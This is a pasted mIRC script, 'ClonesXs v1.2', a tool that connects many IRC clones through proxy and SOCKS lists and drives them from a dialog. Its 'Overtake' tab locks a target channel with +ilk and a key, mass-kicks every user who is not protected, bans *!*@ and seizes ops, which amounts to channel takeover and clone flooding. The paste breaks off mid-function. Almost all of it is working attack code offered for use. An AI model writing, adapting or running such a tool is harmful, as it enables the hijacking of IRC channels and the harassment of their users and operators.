rendered paste body1.
alias overtake_kickreason {
2.
if ($file(kick.reasons) != $null) {
3.
inc %proxy.kreason
4.
if (%proxy.kreason == $null || %proxy.kreason > $lines(kick.reasons)) {
5.
set %proxy.kreason 1
6.
}
7.
return $read(kick.reasons,n,%proxy.kreason)
8.
}
9.
}
10.
alias proxy_taker {
11.
var %x = 1
12.
while ($did(p.cloning,339,%x) != $null) {
13.
if ($did(p.cloning,339,%x) == $1) {
14.
return 1
15.
}
16.
inc %x
17.
}
18.
var %x = 1
19.
while ($did(p.cloning,27,%x) != $null) {
20.
if ($did(p.cloning,27,%x) iswm $1) {
21.
return 1
22.
}
23.
inc %x
24.
}
25.
}
26.
alias proxy_tag {
27.
var %x = 1
28.
while ($did(p.cloning,339,%x) != $null) {
29.
if ($did(p.cloning,339,%x) == $1) {
30.
return 1
31.
}
32.
inc %x
33.
}
34.
var %x = 1
35.
while ($did(p.cloning,51,%x) != $null) {
36.
if ($did(p.cloning,51,%x) isin $1) {
37.
return 1
38.
}
39.
inc %x
40.
}
41.
}
42.
alias go.reop {
43.
p.cloning.runcmd privmsg L : $+ op $did($dname,16)
44.
}
45.
alias go.invite {
46.
p.cloning.runcmd privmsg L : $+ invite $did($dname,16)
47.
}
48.
alias go.masskick {
49.
if ($me ison $1) {
50.
did -b p.cloning 15
51.
did -e p.cloning 18
52.
var %x = 1
53.
var %n = 1
54.
var %nl =
55.
while ($did(p.cloning,339,%x) != $null) {
56.
if ($did(p.cloning,339,%x) !isop $1) {
57.
goto end
58.
}
59.
while ($gettok(%nl,0,32) < 6 && $nick($1,%n) != $null) {
60.
if ($nick($1,%n) != $me && $nick($1,%n) != s && $nick($1,%n) != l && $nick($1,%n) != q && $nick($1,%n) && $proxy_taker($nick($1,%n)) == $null && $proxy_tag($nick($1,%n)) == $null) {
61.
var %nl = %nl $nick($1,%n)
62.
}
63.
inc %n
64.
}
65.
if (%nl != $null && %nl != $chr(61)) {
66.
var %i = 1
67.
while ($gettok($gettok(%nl,2-,32),%i,32) != $null) {
68.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,%x)) KICK $1 $gettok($gettok(%nl,2-,32),%i,32) : $+ $overtake_kickreason 4,0» 4K1ickz: %kickzz 4«
69.
inc %i
70.
inc %kickzz
71.
}
72.
var %nl =
73.
}
74.
:end
75.
inc %x
76.
}
77.
.timer_masskick 1 5 go.masskick $1
78.
}
79.
}
80.
alias ClonesXs {
81.
if ($dialog(p.cloning)) { dialog -v p.cloning | $decode(Y29weQ==,m) }
82.
else { dialog -md p.cloning p.cloning | $decode(Y29weQ==,m) }
83.
}
84.
dialog p.cloning {
85.
title "ClonesX"
86.
size -1 -1 268 205
87.
option dbu
88.
tab "Connection", 200, 1 1 265 200
89.
box "Server", 8, 5 20 186 21, tab 200
90.
text "Host/Ip:", 9, 7 28 20 8, result tab 200
91.
edit "", 10, 28 27 92 10, tab 200 autohs
92.
text "Port:", 1, 123 29 17 8, tab 200
93.
combo 12, 142 27 46 50, tab 200 size edit drop
94.
box "Nick", 34, 5 44 111 22, tab 200
95.
radio "", 35, 8 53 7 10, tab 200 flat
96.
radio "Other", 36, 57 53 22 10, tab 200 flat
97.
combo 37, 16 52 41 50, tab 200 size drop
98.
edit "", 38, 80 53 34 10, tab 200 autohs
99.
box "Connection", 45, 6 101 110 67, tab 200
100.
text "Number of clones:", 49, 10 110 48 20, tab 200
101.
combo 50, 68 108 43 80, tab 200 size edit drop
102.
text "Mode:", 215, 10 121 15 8, tab 200
103.
combo 47, 68 120 43 50, tab 200 size drop
104.
button "&Connect", 48, 10 144 101 10, disable tab 200 flat
105.
button "&Disconnect", 52, 10 156 101 10, tab 200 flat
106.
box "Debug", 219, 119 44 142 143, tab 200
107.
edit "", 44, 121 51 138 134, tab 200 read multi autohs vsbar
108.
box "State", 39, 6 67 110 31, tab 200
109.
text "Connected clones:", 40, 10 75 47 8, tab 200
110.
text "Open sockets:", 42, 10 86 41 8, tab 200
111.
button "Clear Debug", 53, 6 174 110 13, tab 200 flat
112.
text "-", 41, 78 76 34 8, tab 200
113.
text "-", 43, 78 86 34 8, tab 200
114.
text "Delay:", 390, 10 133 25 8, tab 200
115.
combo 391, 68 132 43 60, tab 200 size edit drop
116.
link "Xenon", 361, 199 28 54 8, tab 200
117.
tab "Firewall", 201
118.
box "Proxy", 236, 3 18 88 170, tab 201
119.
box "Socks 4", 234, 90 18 88 170, tab 201
120.
box "Socks 5", 235, 177 18 88 170, tab 201
121.
text "Host/Ip:", 55, 5 26 20 8, tab 201
122.
edit "", 2, 26 25 62 10, tab 201 autohs
123.
text "Port:", 56, 5 36 17 8, tab 201
124.
edit "", 3, 26 36 62 10, tab 201 autohs
125.
button "&Add", 5, 5 47 39 9, disable tab 201 flat
126.
button "&Import", 6, 49 47 39 9, tab 201 flat
127.
button "&Delete", 7, 5 57 39 9, tab 201 flat
128.
button "Delete A&ll", 244, 49 57 39 9, tab 201 flat
129.
list 4, 5 68 85 118, tab 201 size hsbar vsbar
130.
list 69, 92 68 85 118, tab 201 size hsbar vsbar
131.
button "&Delete", 72, 92 57 39 9, tab 201 flat
132.
button "Delete A&ll", 256, 136 57 39 9, tab 201 flat
133.
button "&Import", 71, 136 47 39 9, tab 201 flat
134.
button "&Add", 70, 92 47 39 9, disable tab 201 flat
135.
text "Port:", 67, 92 36 17 8, tab 201
136.
edit "", 68, 113 36 62 10, tab 201 autohs
137.
edit "", 66, 113 25 62 10, tab 201 autohs
138.
text "Host/Ip:", 65, 92 26 20 8, tab 201
139.
text "Host/Ip:", 74, 179 26 20 8, tab 201
140.
edit "", 75, 200 25 62 10, tab 201 autohs
141.
edit "", 77, 200 36 62 10, tab 201 autohs
142.
text "Port:", 76, 179 36 17 8, tab 201
143.
button "&Add", 79, 179 47 39 9, disable tab 201 flat
144.
button "&Import", 80, 223 47 39 9, tab 201 flat
145.
button "Delete A&ll", 265, 223 57 39 9, tab 201 flat
146.
button "&Delete", 81, 179 57 39 9, tab 201 flat
147.
list 78, 179 68 85 118, tab 201 size hsbar vsbar
148.
tab "Actions", 202
149.
box "Actions", 305, 3 19 261 86, tab 202
150.
button "Msg", 310, 9 71 37 10, disable tab 202 flat
151.
button "Notice", 311, 9 82 37 10, disable tab 202 flat
152.
button "Ping", 309, 9 60 37 10, disable tab 202 flat
153.
button "Version", 308, 9 49 37 10, disable tab 202 flat
154.
button "Part", 307, 9 38 37 10, disable tab 202 flat
155.
button "Join", 306, 9 27 37 10, disable tab 202 flat
156.
text "Channel:", 313, 47 28 25 8, tab 202
157.
button "Command", 312, 9 93 37 10, disable tab 202 flat
158.
edit "", 314, 81 27 75 10, tab 202 autohs
159.
text "Channel:", 315, 47 40 25 8, tab 202
160.
edit "", 316, 81 38 75 10, tab 202 autohs
161.
edit "", 318, 81 49 75 10, tab 202 autohs
162.
text "Channel/Nick:", 317, 47 50 34 8, tab 202
163.
text "Channel/Nick:", 319, 47 61 34 8, tab 202
164.
edit "", 320, 81 60 75 10, tab 202 autohs
165.
text "Channel/Nick:", 321, 47 72 34 8, tab 202
166.
edit "", 322, 81 71 75 10, tab 202 autohs
167.
text "Message:", 323, 160 72 24 8, tab 202
168.
edit "", 324, 183 71 75 10, tab 202 autohs
169.
text "Channel/Nick:", 325, 47 83 34 8, tab 202
170.
edit "", 326, 81 82 75 10, tab 202 autohs
171.
text "Message:", 327, 160 83 24 8, tab 202
172.
edit "", 328, 183 82 75 10, tab 202 autohs
173.
edit "", 329, 47 93 211 10, tab 202 autohs
174.
edit "b0tz-r-cumn-", 331, 202 28 56 10, tab 202 autohs
175.
button "Nick Change", 330, 158 28 42 10, disable tab 202 flat
176.
box "From...", 332, 158 40 100 29, tab 202
177.
radio "Global", 333, 163 47 27 10, disable tab 202 flat
178.
radio "Selected", 334, 212 47 42 10, disable tab 202 flat
179.
radio "Group 1", 335, 163 56 30 10, disable tab 202 flat
180.
radio "Group 2", 336, 193 56 30 10, disable tab 202 flat
181.
radio "Group 3", 337, 225 56 30 10, disable tab 202 flat
182.
box "Nick List", 338, 3 105 261 85, tab 202
183.
list 339, 5 112 53 76, disable tab 202 size extsel vsbar
184.
185.
button "Add to Group 1", 340, 59 124 39 11, disable tab 202 flat
186.
button "Add to Group 2", 341, 59 143 39 11, disable tab 202 flat
187.
box "Group 3", 370, 207 110 54 79, tab 202
188.
button "Delete", 371, 209 118 19 8, disable tab 202 flat
189.
button "Delete all", 372, 228 118 31 8, disable tab 202 flat
190.
list 373, 208 126 52 62, disable tab 202 size vsbar
191.
list 369, 154 126 52 62, disable tab 202 size vsbar
192.
button "Delete all", 368, 174 118 31 8, disable tab 202 flat
193.
button "Delete", 367, 155 118 19 8, disable tab 202 flat
194.
box "Group 2", 366, 153 110 54 79, tab 202
195.
list 351, 100 126 52 62, disable tab 202 size vsbar
196.
button "Delete All", 350, 120 118 31 8, disable tab 202 flat
197.
button "Delete", 349, 101 118 19 8, disable tab 202 flat
198.
box "Group 1", 348, 99 110 54 79, tab 202
199.
button "Add to Group 3", 342, 59 161 39 11, disable tab 202 flat
200.
tab "Overtake", 11
201.
box "Control", 14, 5 16 126 120, tab 11
202.
button "Start", 15, 59 51 30 8, tab 11 flat
203.
text " Channel:", 13, 7 32 28 8, tab 11
204.
edit "#", 16, 37 31 84 10, tab 11 autohs
205.
text " Overtake:", 17, 7 51 50 8, tab 11
206.
button "Stop", 18, 91 51 30 8, disable tab 11 flat
207.
text " Clones Mass", 19, 7 60 50 8, tab 11
208.
button "Op", 20, 59 60 30 8, tab 11 flat
209.
box "Kick Reasons", 22, 132 85 127 94, tab 11
210.
list 23, 135 93 120 74, tab 11 size
211.
button "Add", 24, 136 168 40 8, tab 11 flat
212.
button "Del", 25, 177 168 40 8, tab 11 flat
213.
box "Protected Nicks", 26, 132 19 127 64, tab 11
214.
list 27, 134 26 122 46, tab 11 size
215.
button "Add", 28, 136 73 40 8, tab 11 flat
216.
button "Del", 29, 180 73 40 8, tab 11 flat
217.
box "Protected Tags", 46, 4 137 127 42, tab 11
218.
list 51, 6 144 122 24, tab 11 size
219.
button "Add", 54, 7 168 40 8, tab 11 flat
220.
button "Del", 57, 49 168 40 8, tab 11 flat
221.
edit "Authnick", 58, 7 105 50 10, tab 11
222.
edit "Authpw", 59, 7 115 50 10, tab 11
223.
button "Authen", 60, 8 126 30 8, tab 11 flat
224.
button "Join", 61, 6 42 25 8, tab 11 flat
225.
text " L/Q Reop", 62, 7 78 25 8, tab 11
226.
text " L/Q Invite", 63, 7 87 29 8, tab 11
227.
button "Reop", 64, 59 78 62 8, tab 11 flat
228.
button "Invite", 73, 59 87 62 8, tab 11 flat
229.
text " O-Topic setzen", 84, 7 69 40 8, tab 11
230.
button "Set", 85, 59 69 62 8, tab 11 flat
231.
button "invite", 21, 91 60 30 8, tab 11 flat
232.
button "Join 10", 97, 33 42 25 8, tab 11 flat
233.
button "Rejoin", 98, 91 42 30 8, tab 11 flat
234.
button "+x", 99, 40 126 15 8, tab 11 flat
235.
text " Ban *!*@*", 100, 7 96 30 8, tab 11
236.
button "Set", 104, 59 96 30 8, tab 11 flat
237.
button "Unset", 105, 91 96 30 8, tab 11 flat
238.
button "Op Clones", 106, 60 123 30 8, tab 11 flat
239.
text " Main IRC Command:", 107, 59 114 65 8, tab 11
240.
button "Topic", 108, 91 123 30 8, tab 11 flat
241.
button "Part", 109, 60 42 29 8, tab 11 flat
242.
button "Nickchange", 110, 59 105 62 8, tab 11 flat
243.
box "Topic", 111, 4 180 260 19, tab 11
244.
button "Add", 113, 200 188 30 8, tab 11 flat
245.
button "Del", 114, 231 188 30 8, tab 11 flat
246.
text "ClonesXs v1.2", 115, 182 5 86 8, disable tab 11
247.
text " Clones:", 88, 7 23 22 8, tab 11
248.
text " ", 90, 29 23 22 8, tab 11
249.
list 91, 6 187 193 10, tab 11 size
250.
text " Sockets:", 92, 63 23 25 8, tab 11
251.
text " ", 93, 88 23 35 8, tab 11
252.
tab "About", 30
253.
box "About", 31, 6 18 256 61, tab 30
254.
text " ClonesXs Coder: Kraix", 32, 10 26 247 8, tab 30
255.
text " Modded by: Xenon(uCiTakeu)", 33, 10 34 247 8, tab 30
256.
text " Modded ClonesXs Version: 1.2", 82, 10 42 248 7, tab 30
257.
text " IRC-Channel: #[Xenon]]", 83, 10 49 248 8, tab 30
258.
text " Homepage: http://www.clanboardzone.de/Xenon", 86, 10 57 248 8, tab 30
259.
text " Modded ClonesXs v1.2", 87, 10 65 248 8, tab 30
260.
text "", 89, 4 191 236 8, disable tab 30
261.
menu "File", 403
262.
item "&Exit", 476, 403
263.
menu "Specials", 411
264.
item "Ip-Ports", 412, 411
265.
menu "Nick List", 413, 411
266.
menu "Nicks Change", 414, 413
267.
item "Default List", 415, 414
268.
item "List...", 416, 414
269.
menu "Save nicks", 417, 413
270.
item "Default List", 418, 417
271.
item "List...", 419, 417
272.
menu "Connect with list", 420, 413
273.
item "Default List", 421, 420
274.
item "List...", 422, 420
275.
}
276.
277.
on 1:DIALOG:p.cloning:edit:*: {
278.
if ($did == 2) || ($did == 3) { p.clon.fire.secl 2 3 5 }
279.
if ($did == 66) || ($did == 68) { p.clon.fire.secl 66 68 70 }
280.
if ($did == 75) || ($did == 77) { p.clon.fire.secl 75 77 79 }
281.
282.
if ($did == 10) || ($did == 12) || ($did == 38) || ($did == 50) {
283.
p.cloning.conEcheck
284.
}
285.
if ($did == 38) { if ($len($did($dname,38)) > 6) { p.cloning.fal The length must be al least 6 chars. | did -r $dname 38 } }
286.
287.
if ($did == 314) {
288.
if (& iswm $did($dname,$did).text) && ($left($did($dname,$did).text,1) == $chr(35)) did -e $dname 306
289.
else did -b $dname 306
290.
}
291.
if ($did == 316) {
292.
if (& iswm $did($dname,$did).text) && ($left($did($dname,$did).text,1) == $chr(35)) did -e $dname 307
293.
else did -b $dname 307
294.
}
295.
if ($did == 318) {
296.
if (& iswm $did($dname,$did).text) did -e $dname 308
297.
else did -b $dname 308
298.
}
299.
if ($did == 320) {
300.
if (& iswm $did($dname,$did).text) did -e $dname 309
301.
else did -b $dname 309
302.
}
303.
if ($did == 322) || ($did == 324) {
304.
if (& iswm $did($dname,322).text) && (* iswm $did($dname,324).text) did -e $dname 310
305.
else did -b $dname 310
306.
}
307.
if ($did == 326) || ($did == 328) {
308.
if (& iswm $did($dname,326).text) && (* iswm $did($dname,328).text) did -e $dname 311
309.
else did -b $dname 311
310.
}
311.
if ($did == 329) {
312.
if (* iswm $did($dname,$did).text) did -e $dname 312
313.
else did -b $dname 312
314.
}
315.
if ($did == 331) {
316.
if (& iswm $did($dname,$did).text) did -e $dname 330
317.
else did -b $dname 330
318.
}
319.
}
320.
alias -l p.cloning.conEcheck {
321.
if ($dialog(p.cloning)) {
322.
if (??* iswm $did($dname,10)) && ($abs($did($dname,12)) != 0) && ($abs($did($dname,50)) != 0) {
323.
if ($did($dname,36).state == 0) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 }
324.
elseif ($did($dname,38)) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 }
325.
else { if ($did($dname,48).enabled == $true) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
326.
}
327.
else { if ($did($dname,48).enabled == $true) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
328.
}
329.
}
330.
alias -l p.clon.fire.secl {
331.
if ($dialog(p.cloning)) {
332.
if (??* iswm $did($dname,$$1)) && ($abs($did($dname,$$2)) != 0) && ($did($dname,$$2)) { did -e $dname $$3 }
333.
elseif ($did($dname,$$3).enabled == $true) { did -b $dname $$3 }
334.
}
335.
}
336.
alias -l p.clon.fire.secl1 {
337.
var %p.clon.fire.secl1 = $did($dname,$$2) $did($dname,$$3)
338.
if ($dialog(p.cloning)) && (!$didwm($dname,$$1,%p.clon.fire.secl1)) {
339.
did -i $dname $$1 $calc($did($dname,$$1).lines + 1) %p.clon.fire.secl1
340.
}
341.
}
342.
alias -l p.cloning.fire.secl2 {
343.
if ($dialog(p.cloning)) {
344.
did -d $dname $$1 $$did($dname,$$1).sel
345.
}
346.
}
347.
alias -l p.cloning.fire.secl3 {
348.
if ($dialog(p.cloning)) {
349.
var %p.cloning.proFile = $sfile($iif(%p.save.cloning.lstPath,%p.save.cloning.lstPath,C:\),Select the file where the list of proxyes is,Importa)
350.
if (%p.cloning.proFile) {
351.
set %p.save.cloning.lstPath $nofile(%p.cloning.proFile)
352.
var %i = 1
353.
while (%i <= $lines(%p.cloning.proFile)) {
354.
var %p.cloning.proFile.p = $read(%p.cloning.proFile,%i)
355.
if ($gettok(%p.cloning.proFile.p,0,58) == 2) { var %p.cloning.proFile.p = $gettok(%p.cloning.proFile.p,1,58) $gettok(%p.cloning.proFile.p,2,58) }
356.
if (($gettok(%p.cloning.proFile.p,0,32) != 2) || ($abs($gettok(%p.cloning.proFile.p,2,32)) == 0)) {
357.
p.cloning.fal The file must contain in every line the proxy and the port. Ex, one.proxy.com 8080 Ex2. other.proxy.com:8080
358.
return
359.
}
360.
if (%p.cloning.proFile.p) && (!$didwm($dname,$$1,%p.cloning.proFile.p)) { did -i $dname $$1 $calc($did($dname,$$1).lines + 1) %p.cloning.proFile.p }
361.
var %i = %i + 1
362.
}
363.
unset %p.cloning.proFile.p
364.
}
365.
}
366.
}
367.
alias -l p.cloning.ddnsd {
368.
if ($dialog(p.cloning)) {
369.
if ($did(p.cloning,47).text == Socks 4) || ($did(p.cloning,47).text == Socks 5) {
370.
.enable #p.cloning.DdnsD
371.
.dns $did(p.cloning,10).text
372.
p.clon.stats -Resolving Host/Ip... $time
373.
}
374.
else { p.cloning.jj }
375.
}
376.
}
377.
#p.cloning.DdnsD off
378.
on 1:DNS: {
379.
if ($dialog(p.cloning)) {
380.
if ($iaddress) { var %resulto = $iaddress }
381.
else { var %resulto = $naddress }
382.
did -o p.cloning 10 1 %resulto
383.
.disable #p.cloning.DdnsD
384.
p.clon.stats -Resolved a %resulto $time
385.
p.clon.stats -
386.
p.cloning.jj
387.
}
388.
haltdef
389.
}
390.
#p.cloning.DdnsD end
391.
on 1:DIALOG:p.cloning:sclick:*: {
392.
if ($did == 15) {
393.
var %x = 1
394.
while ($did(339,%x) != $null) {
395.
if ($did(339,%x) isop $did(16)) {
396.
sockwrite -n $p.cloning.do.saSockN($did(339,%x)) MODE $did(16) +ilk 1 roflownt
397.
var %x = 99999999
398.
go.masskick $did(16)
399.
}
400.
inc %x
401.
}
402.
}
403.
if ($did == 20) {
404.
go.clonesop
405.
}
406.
if ($did == 21) {
407.
go.clonesinvite
408.
}
409.
if ($did == 60) {
410.
p.cloning.runcmd privmsg Q@CServe.quakenet.org : $+ auth $did($dname,58) $did($dname,59)
411.
}
412.
if ($did == 64) {
413.
go.reop
414.
}
415.
if ($did == 73) {
416.
go.invite
417.
timer_invite 1 1 p.cloning.runcmd join $did($dname,16)
418.
}
419.
if ($did == 85) {
420.
p.cloning.runcmd topic $did(16) : $+ $read(topic.proxy)
421.
}
422.
if ($did == 25 && $did(23).sel != $null) {
423.
write -dl $+ $did(23).sel kick.reasons
424.
did -d $dname 23 $did(23).sel
425.
}
426.
if ($did == 114 && $did(91).sel != $null) {
427.
write -dl $+ $did(91).sel topic.proxy
428.
did -d $dname 91 $did(91).sel
429.
}
430.
if ($did == 57 && $did(51).sel != $null) {
431.
write -dl $+ $did(51).sel protected.tags
432.
did -d $dname 51 $did(51).sel
433.
}
434.
if ($did == 61) {
435.
p.cloning.runcmd join $did(16)
436.
}
437.
if ($did == 97) {
438.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,1)) join $did(16)
439.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,2)) join $did(16)
440.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,3)) join $did(16)
441.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,4)) join $did(16)
442.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,5)) join $did(16)
443.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,6)) join $did(16)
444.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,7)) join $did(16)
445.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,8)) join $did(16)
446.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,9)) join $did(16)
447.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,10)) join $did(16)
448.
}
449.
if ($did == 98) {
450.
p.cloning.runcmd part $did(16)
451.
p.cloning.runcmd join $did(16)
452.
}
453.
if ($did == 99) {
454.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,1)) mode $did(p.cloning,339,1) +x
455.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,2)) mode $did(p.cloning,339,2) +x
456.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,3)) mode $did(p.cloning,339,3) +x
457.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,4)) mode $did(p.cloning,339,4) +x
458.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,5)) mode $did(p.cloning,339,5) +x
459.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,6)) mode $did(p.cloning,339,6) +x
460.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,7)) mode $did(p.cloning,339,7) +x
461.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,8)) mode $did(p.cloning,339,8) +x
462.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,9)) mode $did(p.cloning,339,9) +x
463.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,10)) mode $did(p.cloning,339,10) +x
464.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,11)) mode $did(p.cloning,339,11) +x
465.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,12)) mode $did(p.cloning,339,12) +x
466.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,13)) mode $did(p.cloning,339,13) +x
467.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,14)) mode $did(p.cloning,339,14) +x
468.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,15)) mode $did(p.cloning,339,15) +x
469.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,16)) mode $did(p.cloning,339,16) +x
470.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,17)) mode $did(p.cloning,339,17) +x
471.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,18)) mode $did(p.cloning,339,18) +x
472.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,19)) mode $did(p.cloning,339,19) +x
473.
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,20)) mode $did(p.cloning,339,20) +x
474.
}
475.
if ($did == 104) {
476.
p.cloning.runcmd ban $did(16) *!*@
477.
}
478.
if ($did == 105) {
479.
p.cloning.runcmd ban -r $did(16) *!*@
480.
}
481.
if ($did == 106) {
482.
/op.allclones #[Xenon]
483.
}
484.
if ($did == 108) {
485.
/ot.topic
486.
}
487.
if ($did == 109) {
488.
p.cloning.runcmd part $did(16)
489.
}
490.
if ($did == 110) {
491.
p.cloning.runcmd nick %proxynick
492.
}
493.
if ($did == 29 && $did(27).sel != $null) {
494.
write -dl $+ $did(27).sel protected.nicks
495.
did -d $dname 27 $did(27).sel
496.
}
497.
if ($did == 24) {
498.
var %r = $?="Enter a kick reason"
499.
if (%r != $null) {
500.
did -a $dname 23 %r
501.
did -z $dname 23
502.
write kick.reasons %r
503.
}
504.
}
505.
if ($did == 113) {
506.
var %proxytopic = $?="Enter a topic"
507.
if (%proxytopic != $null) {
508.
did -a $dname 91 %proxytopic
509.
did -z $dname 91
510.
write topic.proxy %proxytopic
511.
}
512.
}
513.
if ($did == 54) {
514.
var %r = $?="Enter a Tag"
515.
if (%r != $null) {
516.
did -a $dname 51 %r
517.
did -z $dname 51
518.
write protected.tags %r
519.
}
520.
}
521.
if ($did == 28) {
522.
var %r = $?="Enter a nick"
523.
if (%r != $null) {
524.
did -a $dname 27 %r
525.
did -z $dname 27
526.
write protected.nicks %r
527.
}
528.
}
529.
if ($did == 18) {
530.
.timer_masskick off
531.
did -e $dname 15
532.
did -b $dname 18
533.
var %x = 1
534.
while ($did(339,%x) != $null) {
535.
if ($did(339,%x) isop $did(16)) {
536.
sockwrite -n $p.cloning.do.saSockN($did(339,%x)) MODE $did(16) -ilk roflownt
537.
var %x = 99999999
538.
}
539.
inc %x
540.
}
541.
}
542.
if ($did == 53) { did -r $dname 44 }
543.
if ($did == 36) { if ($did($dname,36).state == 1) && ($did($dname,38) == $null) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
544.
if ($did == 35) { if ($did($dname,5).enabled == $false) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 } }
545.
;if ($did == 46) {
546.
; if ($calc($dialog($dname).w / $dbuw) >= 216) && ($calc($dialog($dname).w / $dbuw) <= 219) { dialog -bs $dname -1 -1 322 160 | dialog -r $dname }
547.
; else { dialog -bs $dname -1 -1 215 160 | dialog -r $dname }
548.
;}
549.
if ($did == 5) { p.clon.fire.secl1 4 2 3 }
550.
if ($did == 70) { p.clon.fire.secl1 69 66 68 }
551.
if ($did == 79) { p.clon.fire.secl1 78 75 77 }
552.
553.
if ($did == 7) { p.cloning.fire.secl2 4 }
554.
if ($did == 72) { p.cloning.fire.secl2 69 }
555.
if ($did == 81) { p.cloning.fire.secl2 78 }
556.
557.
if ($did == 6) { p.cloning.fire.secl3 4 }
558.
if ($did == 71) { p.cloning.fire.secl3 69 }
559.
if ($did == 80) { p.cloning.fire.secl3 78 }
560.
561.
if ($did == 48) { unset %p.cloning.Nlist.conn* | p.cloning.ddnsd }
562.
if ($did == 52) {
563.
if ($sock(p.cloning*)) {
564.
var %p.cloning.go.kit = DIE YO!
565.
if (%p.cloning.msg.quit != %p.cloning.go.kit) { set %p.cloning.msg.quit BAI }
566.
.sockwrite -nt p.cloning.* quit : $+ %p.cloning.msg.quit
567.
.timerPCloning.out 1 1 .sockclose p.cloning.*
568.
}
569.
;.remove CloneX.ini | .remove CloneXo.ini
570.
if ($hget(p.cloning.a)) { hfree p.cloning.a }
571.
.timerP.cloning.Recr off
572.
p.cloning.recr 1
573.
unset %p.cloning.pn %p.cloning.t | .timerp.cloning.* off | p.clon.stats | p.cloning.cmds
574.
}
575.
576.
if ($did == 339) {
577.
if ($did($dname,$did).sel) { did -e $dname 340 | did -e $dname 341 | did -e $dname 342 }
578.
else { did -b $dname 340 | did -b $dname 341 | did -b $dname 342 }
579.
}
580.
581.
if ($did == 244) { did -r $dname 4 }
582.
if ($did == 256) { did -r $dname 69 }
583.
if ($did == 265) { did -r $dname 78 }
584.
585.
if ($did == 340) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 351 }
586.
if ($did == 341) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 369 }
587.
if ($did == 342) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 373 }
588.
if ($did == 349) { did -d $dname 351 $$did($dname,351).sel }
589.
if ($did == 367) { did -d $dname 369 $$did($dname,369).sel }
590.
if ($did == 371) { did -d $dname 373 $$did($dname,373).sel }
591.
if ($did == 350) { did -r $dname 351 }
592.
if ($did == 368) { did -r $dname 369 }
593.
if ($did == 372) { did -r $dname 373 }
594.
595.
if ($did == 306) { p.cloning.runcmd join $did($dname,314).text }
596.
if ($did == 307) { p.cloning.runcmd part $did($dname,316).text }
597.
if ($did == 308) { p.cloning.runcmd privmsg $did($dname,318).text : $+ $chr(1) $+ version $+ $chr(1) }
598.
if ($did == 309) { p.cloning.runcmd privmsg $did($dname,320).text : $+ $chr(1) $+ ping $+ $chr(1) }
599.
if ($did == 310) { p.cloning.runcmd privmsg $did($dname,322).text : $+ $did($dname,324).text }
600.
if ($did == 311) { p.cloning.runcmd notice $did($dname,326).text : $+ $did($dname,328).text }
601.
if ($did == 312) { p.cloning.runcmd $did($dname,329).text }
602.
if ($did == 330) { p.cloning.runcmd nick $did($dname,331).text }
603.
604.
if ($did == 361) { run $did($dname,361).text }
605.
}
606.
on 1:DIALOG:p.cloning:menu:*: {
607.
if ($did == 476) { set %p.save.cloning.srv $did($dname,10).text }
608.
if ($did == 405) { run irc://irc.quakenet.eu.org/script-planet }
609.
if ($did == 406) { run irc://irc.quakenet.eu.org/script-planet }
610.
if ($did == 407) { run mailto:Xenon@clanboardzone.de?subject=ClonesX }
611.
if ($did == 409) { run irc://irc.quakenet.eu.org/script-planet }
612.
if ($did == 410) { run irc://irc.quakenet.eu.org/script-planet }
613.
if ($did == 412) { p.cloning.ipports }
614.
if ($did == 415) { p.cloning.list.nicksch $mircdirClXNickList.cfg }
615.
if ($did == 416) { p.cloning.list.nicksch $sfile($mircdir,"Escoge el archivo") }
616.
if ($did == 418) { p.cloning.list.save $mircdirClXNickList.cfg }
617.
if ($did == 419) { p.cloning.list.save $sfile($mircdir,"Guardar en...",Guardar) }
618.
if ($did == 421) {
619.
unset %p.cloning.Nlist.conn*
620.
set %p.cloning.Nlist.conn 1
621.
if ($exists($mircdirClXNickList.cfg) == $false) { p.cloning.fal File not found! }
622.
set %p.cloning.Nlist.conn.f $mircdirClXNickList.cfg
623.
p.cloning.ddnsd
624.
}
625.
if ($did == 422) {
626.
unset %p.cloning.Nlist.conn*
627.
set %p.cloning.Nlist.conn 1
628.
set %p.cloning.Nlist.conn.f $sfile($mircdir,"Select file")
629.
if (%p.cloning.Nlist.conn.f) { p.cloning.ddnsd }
630.
}
631.
if ($did == 441) { p.cloning.crdts }
632.
}
633.
alias -l p.cloning.nick.gr.ad {
634.
if ($dialog(p.cloning)) {
635.
var %i = 1
636.
